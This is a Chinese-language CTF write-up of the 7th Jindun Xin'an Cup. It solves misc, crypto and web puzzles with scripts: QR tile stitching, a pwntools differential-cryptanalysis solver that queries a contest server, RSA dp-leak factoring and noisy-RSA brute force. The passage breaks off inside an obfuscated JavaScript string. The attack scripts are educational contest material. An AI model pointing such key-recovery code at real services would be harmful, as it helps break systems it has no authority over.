第七届金盾信安杯重赛wp2025.12.27
|
CTF,金盾杯
|
242

3627 字
|
3.1 小时
本文最后更新于69 天前，其中的信息可能已经过时，如有错误请发送邮件到1416359402@qq.com

前言

比上一周服务器坏了那时候题目要难点，有点难度

Misc

签到

ZmxhZ3tmYjI0MzAyNS1kMjA0LTRlZGEtYjNkYy01MGZlZmExMDg5ZmR9

base64解码就行

flag{fb243025-d204-4eda-b3dc-50fefa1089fd}

data

用R-STUDIO 进行打开镜像 然后扫描

R-Studio

可以发现7z文件

恢复文件

里面有64张图片

进行二维码拼接

脚本

import os
from pathlib import Path
from PIL import Image

INPUT_DIR = r"./all"
OUTPUT_DIR = r"./output"
GRID_SIZE = 4
TILES_PER_QR = 16

def get_sorted_files(folder_path):
    p = Path(folder_path)
    if not p.exists():
        print(f"[错误] 找不到文件夹: {folder_path}")
        return []

    files = [f for f in p.iterdir() if f.is_file() and f.suffix.lower() == '.png']

    files.sort(key=lambda x: (x.stat().st_mtime_ns, x.name))

    return files

def stitch_qr(files_chunk, index):
    images = [Image.open(f) for f in files_chunk]

    width, height = images[0].size

    result_img = Image.new('RGB', (width * GRID_SIZE, height * GRID_SIZE), (255, 255, 255))

    for i, img in enumerate(images):
        row = i // GRID_SIZE
        col = i % GRID_SIZE

        result_img.paste(img, (col * width, row * height))

    return result_img

def main():
    out_path = Path(OUTPUT_DIR)
    out_path.mkdir(parents=True, exist_ok=True)

    print("正在读取并按修改时间排序文件...")
    files = get_sorted_files(INPUT_DIR)

    total_files = len(files)
    print(f"共找到 {total_files} 张图片。")

    if total_files == 0:
        return

    total_qrs = total_files // TILES_PER_QR

    for i in range(total_qrs):
        start_idx = i * TILES_PER_QR
        end_idx = (i + 1) * TILES_PER_QR
        chunk = files[start_idx:end_idx]

        print(f"正在拼接第 {i+1} 张二维码 (使用图片 {start_idx+1} - {end_idx})...")

        try:
            qr_image = stitch_qr(chunk, i)

            save_name = out_path / f"result_qr_{i+1}.png"
            qr_image.save(save_name)
            print(f"  -> 已保存: {save_name}")

        except Exception as e:
            print(f"  [!] 拼接第 {i+1} 张时出错: {e}")

    print("n拼接完成！请查看 output 文件夹。")
    print("根据题目提示，请重点扫描最后一张二维码。")

if __name__ == "__main__":
    main()

扫描二维码

K5LGIS2TGBIXSVKEJJKVCVJRJBKGW4CZKNDFUSKUIVTTAUSWIJFFC2SWKZLFKWTBK5LGIWSVGFUFKVTKJF4VO3DIIZLFMULZKIYGG6KRKVCXSVLKLJDFKVSGIRLDCVSKKZDHAUCTKZSEUV2GJZMU4222IJLEMZCTKMYFUS2XKVDFOVCVOBFFE2S2JBKWYVSTKBKDAOKQKQYDS===

解码流程

base32–> base64 –> rot13 –> base32 –> base64

base32:WVdKS0QyUDJUQU1HTkpYSFZITEg0RVBJQjVVVUZaWVdZU1hUVjIyWlhFVVQyR0cyQUEyUjZFUVFDV1VJVFpPSVdJWFNYNkZBVFdSS0ZKWUFWTUpJRjZHUlVSPT09PT09
base64:YWJKD2P2TAMGNJXHVHLH4EPIB5UUFZYWYSXTV22ZXEUT2GG2AA2R6EQQCWUITZOIWIXSX6FATWRKFJYAVMJIF6GRUR======
rot13:LJWXQ2C2GNZTAWKUIUYU4RCVO5HHSMLJLFKGI22MKRHG2TT2NN2E6RDDPJHVGMBVJVKFK6SNGJEXSWLNIZWVS6TEHE======
base32:ZmxhZ3s0YTE1NDUwNy1iYTdkLTNmNzktODczOS05MTUzM2IyYmFmYzd9
base64:flag{4a154507-ba7d-3f79-8739-91533b2bafc7}
flag{4a154507-ba7d-3f79-8739-91533b2bafc7}

英勇投弹手

有一个zip进行爆破ARCHPR

用担保winZIP恢复

CyhUkh8a

进入后是一个游戏看js代码

通过查看主要入口文件 game.js，发现它引入了 player.js, bullet.js, enemy.js 等模块，但唯独没有引入 core.js。

看core.js

(function (_0x308471, _0x5643fe) {
    const _0x5a606a = _0x2460, _0x33a4a5 = _0x308471();
    while (!![]) {
        try {
            const _0x2afb4f = parseInt(_0x5a606a(0x1b3)) / (-0x19c * -0xd + -0xe77 + -0x674) * (-parseInt(_0x5a606a(0x1b7)) / (0xb5 * 0x5 + 0x133f + -0x2 * 0xb63)) + -parseInt(_0x5a606a(0x1ba)) / (-0x2644 + -0x68b + 0x2cd2) + parseInt(_0x5a606a(0x1bf)) / (0x66 + 0x46d + -0x4cf) + parseInt(_0x5a606a(0x1b5)) / (-0x32e + 0x2683 + -0x2350) + parseInt(_0x5a606a(0x1b4)) / (0x513 * 0x1 + 0x1cce + -0x1b * 0x141) + parseInt(_0x5a606a(0x1bb)) / (0x1710 + 0x638 + -0x1 * 0x1d41) + -parseInt(_0x5a606a(0x1bd)) / (0x19 * 0x105 + -0xe * 0x193 + -0x36b);
            if (_0x2afb4f === _0x5643fe)
                break;
            else
                _0x33a4a5['push'](_0x33a4a5['shift']());
        } catch (_0x5220d0) {
            _0x33a4a5['push'](_0x33a4a5['shift']());
        }
    }
}(_0x2f3d, -0x9dc5 + 0xf * 0x18fc + 0x49c84));
let k = 0x166c + -0x7 * -0x4cf + -0x1 * 0x357b;
function _0x2460(_0x111017, _0x5efafa) {
    const _0x2f1f50 = _0x2f3d();
    return _0x2460 = function (_0x2f7d39, _0x466e46) {
        _0x2f7d39 = _0x2f7d39 - (0x256e + -0x1a4d + -0x96e * 0x1);
        let _0x2b3801 = _0x2f1f50[_0x2f7d39];
        return _0x2b3801;
    }, _0x2460(_0x111017, _0x5efafa);
}
function core() {
    const _0x47b80f = _0x2460, _0x3074a9 = {
            'gFKKr': function (_0xe55803, _0xa329bf) {
                return _0xe55803 === _0xa329bf;
            },
            'HPqhV': _0x47b80f(0x1b6) + _0x47b80f(0x1b8) + _0x47b80f(0x1be) + 'a3'
        };
    if (_0x3074a9[_0x47b80f(0x1b9)](k, -0x295 * 0xf + -0x1 * 0x134b + -0x1 * -0x41ef))
        return _0x3074a9[_0x47b80f(0x1bc)];
}
function _0x2f3d() {
    const _0x239d05 = [
        '3088265aLnAAu',
        '873bf00c57',
        '25372BhvWzP',
        '7c3f7bbf99',
        'gFKKr',
        '821466gZMlek',
        '2569812BGsTZj',
        'HPqhV',
        '4040648FCWnre',
        '76849b468b',
        '1006744yccwII',
        '25COywAc',
        '1304166xohEjZ'
    ];
    _0x2f3d = function () {
        return _0x239d05;
    };
    return _0x2f3d();
}

定位关键代码：
在 core.js 中，有一个名为 core 的函数：

function core() {
    const _0x47b80f = _0x2460, // 这是一个解密/获取字符串的函数
    _0x3074a9 = {
        // ...
        // flag 的拼接逻辑：Part1 + Part2 + Part3 + 'a3'
        'HPqhV': _0x47b80f(0x1b6) + _0x47b80f(0x1b8) + _0x47b80f(0x1be) + 'a3'
    };
    // ...
    return _0x3074a9[_0x47b80f(0x1bc)]; // 返回拼接好的 flag
}

HPqhV 这个属性的值是由三段加密字符串解密后，再加上后缀 'a3' 拼接而成的。

JavaScript 是解释型语言，且这段代码不依赖 DOM 元素，我们可以直接在浏览器控制台执行该文件来还原逻辑，而无需手动逆向复杂的数组移位算法。

把游戏文件放在本地服务器直接运行就行或者把这个JS给AI辅助分析直接出

控制台

直接调用就行

core()
flag{873bf00c577c3f7bbf9976849b468ba3}

Crypto

Classic

第一个是夏多密码/曲折密码 跳舞的小人 圣殿骑士密码 外星人密码

C1ASSicaICRYPT03ASY

全部小写

flag{c1assicalcrypt03asy}

CathylinFour++

server.py

#!/usr/bin/env python3
import os
import random
import socket
import socketserver
import argparse

def load_flag():
    for p in ("/flag", "./flag.txt"):
        if os.path.exists(p):
            with open(p, "r", encoding="utf-8") as f:
                return f.read().strip()
    return "flag{test_flag}"

FLAG = load_flag()

class CathylinFourPlus:
    def __init__(self, r, key):
        self.r = r
        self.S = (0xC, 0x5, 0x6, 0xB,
                  0x9, 0x0, 0xA, 0xD,
                  0x3, 0xE, 0xF, 0x8,
                  0x4, 0x7, 0x1, 0x2)
        self.P = (0, 5, 10, 15,
                  4, 9, 14, 3,
                  8, 13, 2, 7,
                  12, 1, 6, 11)
        self.RC = (0x0F0F, 0x3333, 0x55AA)
        self.key = key
        assert len(key) == self.r + 1

    @staticmethod
    def deblock(m):
        return [(m >> 12) & 0xF, (m >> 8) & 0xF, (m >> 4) & 0xF, m & 0xF]

    @staticmethod
    def block(nibbles):
        return (nibbles[0] << 12) | (nibbles[1] << 8) | (nibbles[2] << 4) | nibbles[3]

    def s_layer(self, x):
        n = self.deblock(x)
        n = [self.S[i] for i in n]
        return self.block(n)

    def permute_bits(self, x):
        bits = [(x >> (15 - i)) & 1 for i in range(16)]
        new_bits = [0] * 16
        for i in range(16):
            new_bits[self.P[i]] = bits[i]
        out = 0
        for b in new_bits:
            out = (out << 1) | b
        return out & 0xFFFF

    def encrypt(self, m):
        p = m & 0xFFFF
        for t in range(self.r - 1):
            p ^= self.key[t]
            p ^= self.RC[t]
            p = self.s_layer(p)
            p = self.permute_bits(p)
        p ^= self.key[self.r - 1]
        p ^= self.RC[self.r - 1]
        p = self.s_layer(p)
        c = p ^ self.key[-1]
        return c & 0xFFFF

def parse_hex16(s: str) -> int:
    s = s.strip().lower()
    if s.startswith("0x"):
        s = s[2:]
    if not (1 <= len(s) <= 4) or any(ch not in "0123456789abcdef" for ch in s):
        raise ValueError("bad hex")
    return int(s, 16) & 0xFFFF

def serve_one_client(rfile, wfile):
    # 每连接随机 key / mask
    r = 3
    key = [random.getrandbits(16) for _ in range(r + 1)]
    enc = CathylinFourPlus(r, key)
    mask = random.getrandbits(16)

    def wln(msg=""):
        wfile.write((msg + "n").encode())
        wfile.flush()

    def write_prompt():
        wfile.write(b"Your input: ")
        wfile.flush()

    wln("=== CathylinFour++ (SPN 16-bit) ===")
    wln("Input: hex (e.g. 0x1234). Commands: h/help, k, q")
    wln(f"mask = 0x{mask:04x}")
    wln("Goal: submit (K3 ^ mask) to get the flag.")
    wln("----------------------------------")

    qcnt = 0
    QMAX = 4096

    while True:
        write_prompt()
        line = rfile.readline()
        if not line:
            break
        x = line.decode(errors="ignore").strip().lower()

        if x in ("q", "quit", "exit"):
            wln("Bye.")
            break

        if x in ("h", "help", "?"):
            wln("Commands:")
            wln("  <hex>   encrypt a 16-bit block, e.g. 0x1234")
            wln("  k       submit key proof (K3 ^ mask)")
            wln("  q       quit")
            continue

        if x == "k":
            wfile.write(b"Your key proof (hex): ")
            wfile.flush()
            ki = rfile.readline()
            if not ki:
                break
            try:
                proof = parse_hex16(ki.decode(errors="ignore"))
            except Exception:
                wln("Bad format. Bye.")
                break

            if proof == (key[-1] ^ mask):
                wln("You can smile: " + FLAG)
            else:
                wln("Wrong. Bye.")
            break

        try:
            a = parse_hex16(x)
        except Exception:
            wln("Bad format. Tips: 0x???? (1~4 hex digits).")
            continue

        qcnt += 1
        if qcnt > QMAX:
            wln("Too many queries. Bye.")
            break

        c = enc.encrypt(a)
        wln("Output: " + f"0x{c:04x}")

class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    allow_reuse_address = True
    daemon_threads = True

class Handler(socketserver.BaseRequestHandler):
    def handle(self):
        # 每连接超时：防止挂死占用线程
        self.request.settimeout(60)
        rfile = self.request.makefile("rb", buffering=0)
        wfile = self.request.makefile("wb", buffering=0)
        try:
            serve_one_client(rfile, wfile)
        except (socket.timeout, BrokenPipeError, ConnectionResetError):
            pass
        finally:
            try:
                rfile.close()
            except Exception:
                pass
            try:
                wfile.close()
            except Exception:
                pass

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--listen", default=None, help="listen address, e.g. 0.0.0.0")
    ap.add_argument("--port", type=int, default=37344)
    args = ap.parse_args()

    if args.listen:
        with ThreadedTCPServer((args.listen, args.port), Handler) as srv:
            srv.serve_forever()
    else:
        # 本地 stdin/stdout 单机调试模式
        import sys
        serve_one_client(sys.stdin.buffer, sys.stdout.buffer)

if __name__ == "__main__":
    main()

题目实现了一个自定义的 16-bit SPN (Substitution-Permutation Network) 分组密码。

结构：SPN 结构，分组长度 16 位。

轮数：3 轮 (r=3r=3)。

组件

  • S-layer：4个 4-bit S-box 并行替换。
  • P-layer：16-bit 比特置换。
  • RoundKey：每轮异或 16-bit 轮密钥。

加密流程

Round 0 & 1：AddKey →→ S-layer →→ P-layer
Round 2 (最后一轮)：AddKey →→ S-layer →→ AddKey (Output)
注意：最后一轮没有 P-layer，且直接输出密文。
恢复最后一轮的子密钥 K3K3，提交 proof = K3 ^ mask`获取 flag就行

解密

差分分析 (Differential Cryptanalysis)。

由于分组长度仅 16 位且只有 3 轮，我们可以利用差分特性轻松穿透前两轮，攻击最后一轮。

寻找差分路径

我们需要找到一条穿越前两轮的高概率差分路径。
方法：由于 16 位空间很小 (216=65536216=65536)，直接写代码模拟前两轮，**穷举**所有可能的输入差分，计算出到达最后一轮 S 盒前的精确差分分布。
结果：筛选出 4 条高概率路径（例如输入差分 `0x0001`、`0x0002` 等），确保能覆盖所有 4 个 S 盒。

数据采集

根据筛选出的路径，向服务器发起查询。
构造：生成随机明文 P1P1 和 P2=P1⊕ΔinP2=P1⊕Δin。
交互：发送给服务器，获取密文对 C1,C2C1,C2。
数量：总共采集约 2000 对密文，分配给不同的路径。

密钥恢复

攻击最后一轮的 S 盒来恢复 K3K3。

原理：对于正确的密钥 kk，解密最后一层 S 盒后，其差分应等于我们预计算的期望差分 ΔexpectedΔexpected。

S−1(C1⊕k)⊕S−1(C2⊕k)==ΔexpectedS−1(C1⊕k)⊕S−1(C2⊕k)==Δexpected

操作

  1. 把 K3K3 分成 4 个半字节 (Nibble) 独立破解。
  2. 对每个半字节遍历猜测 0~15。
  3. 统计哪个猜测值满足差分公式的次数最多（投票法）。
  4. 多路径投票：综合 4 条路径的投票结果，得票最高的即为正确密钥。

py3脚本

#!/usr/bin/env python3
import sys
import random
from pwn import *

S = (0xC, 0x5, 0x6, 0xB, 0x9, 0x0, 0xA, 0xD, 0x3, 0xE, 0xF, 0x8, 0x4, 0x7, 0x1, 0x2)
P_BOX = (0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11)

INV_S = [0] * 16
for i, x in enumerate(S): INV_S[x] = i

def deblock(m):
    return [(m >> 12) & 0xF, (m >> 8) & 0xF, (m >> 4) & 0xF, m & 0xF]

def block(nibbles):
    return (nibbles[0] << 12) | (nibbles[1] << 8) | (nibbles[2] << 4) | nibbles[3]

def permute_bits(x):
    bits = [(x >> (15 - i)) & 1 for i in range(16)]
    new_bits = [0] * 16
    for i in range(16): new_bits[P_BOX[i]] = bits[i]
    out = 0
    for b in new_bits: out = (out << 1) | b
    return out & 0xFFFF

def s_layer(x):
    n = deblock(x)
    n = [S[i] for i in n]
    return block(n)

def get_diff_distribution(din):
    counts = {}
    for x in range(65536):
        y = x ^ din
        x_r0 = permute_bits(s_layer(x))
        y_r0 = permute_bits(s_layer(y))
        x_r1 = permute_bits(s_layer(x_r0))
        y_r1 = permute_bits(s_layer(y_r0))
        dout = x_r1 ^ y_r1
        counts[dout] = counts.get(dout, 0) + 1
    return counts

def find_robust_paths():
    log.info("Computing robust differential paths...")
    candidates = [0x0001, 0x0002, 0x0004, 0x0008, 0x0010, 0x0020, 0x0040, 0x0080]
    paths = []

    for din in candidates:
        dist = get_diff_distribution(din)
        best_dout = max(dist, key=dist.get)
        prob = dist[best_dout] / 65536.0

        if prob > 0.008:
            active = deblock(best_dout)
            targets = [i for i, v in enumerate(active) if v != 0]
            if targets:
                paths.append({
                    'din': din,
                    'dout': best_dout,
                    'prob': prob,
                    'targets': targets,
                    'exp_nibbles': active
                })

    paths.sort(key=lambda x: x['prob'], reverse=True)
    return paths[:4]

def solve():
    paths = find_robust_paths()
    if not paths:
        log.error("Failed to find paths.")
        return

    log.info(f"Using {len(paths)} concurrent paths to eliminate false positives.")

    host = '123.57.26.77'
    port = 30341
    if len(sys.argv) > 1:
        try:
            port = int(sys.argv[1])
        except:
            log.error("Usage: python solve.py <PORT>")
            return

    try:
        io = remote(host, port)
    except Exception as e:
        log.error(f"Failed to connect to {host}:{port}. The port may have changed.")
        log.info("Please check the challenge info for the new port and run: python solve.py <NEW_PORT>")
        return

    io.recvuntil(b"mask = ")
    mask = int(io.recvline().decode().strip(), 16)
    log.success(f"Mask: 0x{mask:04x}")
    io.recvuntil(b"Goal:")

    TOTAL_PAIRS = 2000
    pairs_per_path = TOTAL_PAIRS // len(paths)

    global_votes = [[0]*16 for _ in range(4)]

    for i, p in enumerate(paths):
        din = p['din']
        log.info(f"Path {i+1}: Din 0x{din:04x} -> Targets {p['targets']} ({pairs_per_path} pairs)")

        pairs = []
        for _ in range(pairs_per_path):
            p1 = random.randint(0, 0xFFFF)
            p2 = p1 ^ din

            io.sendlineafter(b"Your input: ", f"0x{p1:04x}".encode())
            io.recvuntil(b"Output: ")
            c1 = int(io.recvline().strip(), 16)

            io.sendlineafter(b"Your input: ", f"0x{p2:04x}".encode())
            io.recvuntil(b"Output: ")
            c2 = int(io.recvline().strip(), 16)
            pairs.append((c1, c2))

        for nib_idx in p['targets']:
            tgt_diff = p['exp_nibbles'][nib_idx]
            shift = 12 - (nib_idx * 4)
            for k in range(16):
                hits = 0
                for c1, c2 in pairs:
                    n1 = (c1 >> shift) & 0xF
                    n2 = (c2 >> shift) & 0xF
                    if (INV_S[n1 ^ k] ^ INV_S[n2 ^ k]) == tgt_diff:
                        hits += 1
                global_votes[nib_idx][k] += hits

    k3 = 0
    log.info("Key Recovery Results:")
    for i in range(4):
        votes = global_votes[i]
        candidates = sorted(range(16), key=lambda x: votes[x], reverse=True)
        best = candidates[0]
        runner_up = candidates[1]

        gap = votes[best] - votes[runner_up]
        log.info(f"  Nibble {i}: 0x{best:x} (Votes: {votes[best]}), 2nd: 0x{runner_up:x} (Votes: {votes[runner_up]}) - Gap: {gap}")

        k3 |= (best << (12 - 4 * i))

    proof = k3 ^ mask
    log.success(f"Recovered K3: 0x{k3:04x} | Proof: 0x{proof:04x}")

    io.sendlineafter(b"Your input: ", b"k")
    io.sendlineafter(b"hex): ", f"0x{proof:04x}".encode())

    try:
        flag = io.recvall(timeout=3).decode().strip()
        print("n" + "="*40)
        print(flag)
        print("="*40 + "n")
    except:
        log.warning("Connection closed before receiving flag.")
    finally:
        io.close()

if __name__ == "__main__":
    solve()

解出flag：

ZmxhZ3swZDI5NzEyNi1mYTY2LTQ0MjUtYjkxZC1iMTYxYWRjNDM1NzR9

这个base64解出是flag 但是不对 因为不是正常flag 所以提交base64编码就行

RSA

flag.py

from Crypto.Util.number import getPrime, bytes_to_long
import random

# 1. 生成大素数 p, q
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537

# 2. 计算 d
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

# 3. 计算 dp (d mod p-1)
# 这里的 dp 是 CRT 模式下用于加速解密的关键参数
dp = d % (p - 1)

# 4. 加密 Flag
flag = b"flag{xxxxxxxxxxxxxxx}"
m = bytes_to_long(flag)
c = pow(m, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"dp = {dp}")
print(f"c = {c}")

# n = 93977446509601491411273109183700477792476081212252100588514513996369916050240513858257713585313335366590846240370949831289684059273587772970292476296340120801189466605373324380976699533407970974215875662294283755613133719192114163547130089995306718768119144501566575807133141973499886356493323821201111393199
# e = 65537
# dp = 4646721143214293575763413674967142339122604220191663048739174575126624610789286103728040064106260338484738571999187838033377907298506299277252376843468857
# c = 39842044108169653665655273759299059319749157454557086299529162182474598233474908300467494642550719706800866015430966154461050042032159169236220832726422011654867871818265524075008160875598938671421298968459869843510325230871429349578969045129760472874539862070944657591218420952191065002303403538259250208430

题目是一个RSA 中的 dp 泄露攻击

满足公式：e×dp≡1(modp−1)e×dp≡1(modp−1)。

这意味着 e×dp−1e×dp−1 是 p−1p−1 的倍数。我们可以利用费马小定理配合最大公约数 (GCD) 快速反推出素数 pp。

GCD 算法分解 n 得到 p 和 q，然后解密得到 Flag。

py3脚本呈现

import sys
from Crypto.Util.number import long_to_bytes, inverse
import math

n = 93977446509601491411273109183700477792476081212252100588514513996369916050240513858257713585313335366590846240370949831289684059273587772970292476296340120801189466605373324380976699533407970974215875662294283755613133719192114163547130089995306718768119144501566575807133141973499886356493323821201111393199
e = 65537
dp = 4646721143214293575763413674967142339122604220191663048739174575126624610789286103728040064106260338484738571999187838033377907298506299277252376843468857
c = 39842044108169653665655273759299059319749157454557086299529162182474598233474908300467494642550719706800866015430966154461050042032159169236220832726422011654867871818265524075008160875598938671421298968459869843510325230871429349578969045129760472874539862070944657591218420952191065002303403538259250208430

def attack():
    exponent = e * dp - 1

    temp = pow(2, exponent, n)

    p = math.gcd(temp - 1, n)

    if p == 1 or p == n:
        print("[-] Failed to recover p with base 2, trying base 3...")
        temp = pow(3, exponent, n)
        p = math.gcd(temp - 1, n)

    print(f"[+] Found p: {p}")

    q = n // p
    print(f"[+] Found q: {q}")

    assert p * q == n

    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)

    m = pow(c, d, n)
    flag = long_to_bytes(m)

    print(f"n[+] Flag: {flag.decode()}")

if __name__ == "__main__":
    attack()
flag{L34k_0f_Dp_Br34ks_RS4_E4sy}

Quantum

public.txt

75b8da92a0a4caf5cc838133cf138aa114d10cdcd05a4664dba48417b3ab64959c7f56dfb5fd05bb8165b069f22466f4c38478e98adc0f1f266fdbb53014c69300e6b8ebca8e0ed0037c983c75695ac3cfee1527ce88c407b8af6bbe84d0dd8bf3982c97d5f2080b9c269a181af5fa2116e87fac295dbaeb1a0f0b992454083d02397fcf4f29e0c6bd7cec57e17737aa9417a0520ffe10622fcd24fa9d5ee9c6e6aa6afcfe06fe13f6656ffe3da9be13386d9a15b34187ac3637080b0535ae982dfd14e359d2d4c8dabf7cd378c9e6644e75f6cd72d2db08c84b7dd0e943588d9fb9713990643d7fe082c4db085ca2f71443932e76fe91cb3bf14def5138d223
10001
9342a05c47464a3dcf47b42f

ciphertext.txt

464c1b4adee3731c5372f912385ae67ba74055f282118e8cedbbaedc389d8902d355c9f9fc0abdc5442a15014c167e56b0ebbb5c0cfec997a067a09db4deed4f32f84aac2213e945adfa4a1d7e61a46824da58eb8db7e24ab32f83bd65271d81ee0a5f9dc45934c9e240b6f77da8f130dbb5163238cb60f7d610d1786f3f1f1d5adadccc69c59cf6e5f8a20d10f00d6d6d1b216bd72f9ea16ea3d8ecc0a0f6cf6b8665dfb4d97faca774d4f0d6a2454bafa9c04dc843f86f5a54c3a9b9e49180e1e68c17622707436f494a7744e175d69a798f1cb3be7bb4115de543b4ac3b1ada91a954fafaef681a84cc39b6f8449749dc351a2b1e32c20be29ae1699b4fe8

ciphertext.txt

题目给出了 RSA 公钥、密文（ciphertext.txt）以及一份交互日志（oracle_transcript.txt）。 通过观察日志文件，发现密文 CC 出现在日志中，且其紧跟的下一个大整数 YY 与 CC 存在对应关系。 结合题目“双参数噪声”提示及解题逻辑，推测这是一个 Noisy RSA 问题。Oracle 返回的 YY 是明文 MM 加上了一个较小的随机噪声 rr，即：

Y=M+rY=M+r

解题：

读取 ciphertext.txt 得到密文 CC。
解析 oracle_transcript.txt，找到 CC 所在的位置，提取紧随其后的数值作为 YY。
爆破噪声 rr（从小到大尝试），计算 Mguess=Y−rMguess=Y−r。
验证 Mguesse≡C(modN)Mguesse≡C(modN)。若成立，则转换 MguessMguess 得到 Flag。

从 public.txt 读取 N,eN,e。

py3脚本呈现

import sys

PUBLIC_FILE = "public.txt"
CIPHER_FILE = "ciphertext.txt"
TRANSCRIPT_FILE = "oracle_transcript.txt"
MAX_R = 1 << 20 

def clean_hex(s):
    s = s.strip().lower()
    if s.startswith("0x"):
        s = s[2:]
    return s

def main():
    try:
        with open(PUBLIC_FILE, "r") as f:
            content = f.read().split()
            N = int(clean_hex(content[0]), 16)
            if len(content) >= 3:
                val2 = int(clean_hex(content[1]), 16)
                if val2 < 655370:
                    e = val2
                else:
                    e = 65537
            else:
                e = 65537
    except Exception as err:
        return

    try:
        with open(CIPHER_FILE, "r") as f:
            c_raw = f.read()
            C = int(clean_hex(c_raw), 16)
    except Exception as err:
        return

    try:
        with open(TRANSCRIPT_FILE, "r") as f:
            raw_data = f.read()
        
        tokens = raw_data.split()
        transcript_ints = []
        for t in tokens:
            t_clean = clean_hex(t)
            if len(t_clean) > 20: 
                try:
                    val = int(t_clean, 16)
                    transcript_ints.append(val)
                except:
                    pass
        
        y_val = None
        if C in transcript_ints:
            idx = transcript_ints.index(C)
            if idx + 1 < len(transcript_ints):
                y_val = transcript_ints[idx + 1]
            else:
                return
        else:
            return

    except Exception as err:
        return

    for r in range(MAX_R):
        M_candidate = y_val - r
        if pow(M_candidate, e, N) == C:
            print(f"Found r = {r}")
            try:
                length = (M_candidate.bit_length() + 7) // 8
                flag_bytes = M_candidate.to_bytes(length, byteorder='big')
                try:
                    print(flag_bytes.decode('utf-8'))
                except:
                    print(flag_bytes)
            except:
                print(M_candidate)
            break

if __name__ == "__main__":
    main()
flag{7a94faqe-e0a3-1qf0-8527-30050575612d-983f85d9-e0a3-11f0-88ca}

Web

van-you-see

web-游戏 经典 js

发现两个文件crypto-js.min.js

game-encrypt.js

主要 在game 中存在js混淆 需要还原本身代码

脚本如下

import re
def solve_sojson():
    print("--- 开始还原 SoJSON 混淆代码 ---")
    obfuscated_str = "102q117k110K99P116t105B111h110c32G95u48W120R51P52H56I100v40y41b32y123A10W32N32Z32V32E99X111Q110P115i116A32J95b48A120m52E100N98W57j51X102C32o61r32Y91O10t32v32T32Y32O32Q32A32L32i39Z102d82q100b116z114s39u44K10M32M32W32r32O32a32l32i32D39t86U116S118A66O120w39Y44o10O32p32v32q32v32q32w32d32W39y50O53o51W49q106a73M88y74k121c120U39O44T10A32C32j32L32v32d32H32X32d39c115U116a97t116X117X115y39p44n10u32X32Z32f32Y32E32E32Z32N39I51M53b49p57o50x52Y109f113w69N79j114U97d39t44V10H32I32k32V32q32y32r32M32z39u103R119u77V118O122d39I44t10Y32n32u32W32w32Q32b32Y32t39b85R108p120E108M108u39m44h10e32m32c32e32m32A32m32w32N39V52f55U54d49R112a109D83U87X85f65h39i44o10f32Y32P32D32A32T32G32D32o39C99v108Q97k115n115B76t105x115f116k39x44h10w32I32R32K32d32Y32f32A32Z39V49d49B53X97V100C102Q90U98D90y39B44L10o32c32s32l32o32C32b32g32c39d102L108n111i111e114L39h44L10w32Q32e32K32Q32Q32L32F32H39N97A100m100d39H44q10D32F32G32g32f32K32W32G32K39N77e101U122a81q65C39n44S10V32v32z32p32e32h32M32C32A39u81e89G69m80R98u39M44U10H32n32o32v32z32W32y32U32A39d107b101q121X100y111d119f110B39Y44H10o32J32x32k32o32J32W32W32o39O100e105H118m39P44f10a32b32R32W32w32W32x32D32g39Q66R121f73P100q39x44F10B32l32g32B32K32l32Z32i32L39g100d115t80T75T70c39w44E10U32B32I32O32R32x32M32F32l39B116H111b83Y116m114M105l110H103q39O44O10Y32t32d32g32r32M32h32v32g39q99H101o108L108V39N44G10w32o32Z32D32o32d32r32E32P39L84G98k79J89r121y39n44b10n32Z32O32w32r32K32l32u32v39G81q112H114P88x72g46E112P104y112u39k44j10T32L32C32F32g32y32Z32Y32q39i104R114w101v102C39e44J10A32e32x32f32Q32h32d32w32t39H117N76M108N79b108S39B44U10e32G32h32v32T32i32V32n32B39s116z101T120J116J67e111Q110h116X101X110S39i44t10z32d32N32q32u32V32V32O32E39K98l111Z97E114w100I39g44C10s32d32z32a32N32w32a32w32A39r80s107j99P115i55e39J44j10z32P32z32q32e32H32Y32C32R39z49q51K54h56p56d54a56S53K83F69G105v116b86U79p39d44Q10Y32t32N32J32I32e32F32q32K39b119t112S67K71L79n39A44d10K32B32K32L32k32k32Q32E32G39j101v110s99q114X121k112a116z39X44k10M32G32z32d32r32C32f32m32P39G118V100y73S83b113Q39n44i10L32O32S32a32T32M32a32T32A39Y111B80A84W69z104e39T44A10K32S32O32H32b32i32Q32u32J39P115n112W108O105d116Y39n44s10C32V32O32X32V32f32A32T32D39m108F88J87V108d77S39e44y10P32A32K32Q32d32d32V32q32C39S97h112F117k67D70u39u44y10v32U32W32B32O32F32u32B32m39C89C119B81l104S109J39Q44W10M32z32t32T32j32I32J32E32Z39A112f117w115Y104b39m44D10z32I32B32A32q32Q32F32X32o39J103s101U116I69v108n101y109G101Q110w116v39R44z10M32O32I32H32G32W32W32e32U39L54u49C50b121J82o114B81B69Z89N39D44m10t32D32N32O32W32J32B32i32w39t65e114R114j111y119z85V112Q39N44e10g32h32N32B32g32W32Q32O32O39V97u112Y112x101f110f100Z67n104b105n108O39q44m10p32V32q32O32g32k32Y32j32H39P74a70p109E108Q82k39G44s10k32z32k32B32N32j32Q32u32B39Y121q82D97Q79S97y39k44O10t32u32b32p32t32k32k32R32s39C85r102l69G83J75T39E44O10u32B32n32m32S32l32W32x32l39E88R69k120F66l113D39s44x10x32D32g32j32J32Q32e32B32q39l90R111q80j84P120e39Y44u10Q32Q32Y32h32b32I32g32n32o39U97P100z100A69h118m101L110f116R76A105H39V44L10t32n32W32A32F32y32G32m32Q39F115f99E111d114F101U39Y44n10n32l32W32q32f32q32U32y32H39O105L75s105f74S80a39a44s10N32r32i32j32G32z32w32s32F39A107p71B105L112z65R39F44V10n32B32j32s32o32Y32n32j32p39H101W116T77S117i68R39x44W10L32V32q32Z32e32v32t32x32d39z108T100l102J75B79J39x44g10A32g32K32Z32H32M32y32N32Q39L114p97J110y100d111q109E39n44t10K32K32o32Y32N32I32x32L32p39D99S101z108u108U45Z39C44g10j32n32X32s32p32Y32c32M32z39h100V85O77V113h97s39f44U10s32c32r32e32t32e32r32q32g39H86W80u110n108h103l39H44x10w32Q32K32c32x32n32p32o32C39a57v100H53V98p101K102A39b44p10I32C32w32i32N32W32r32P32T39o114O101G97N100V121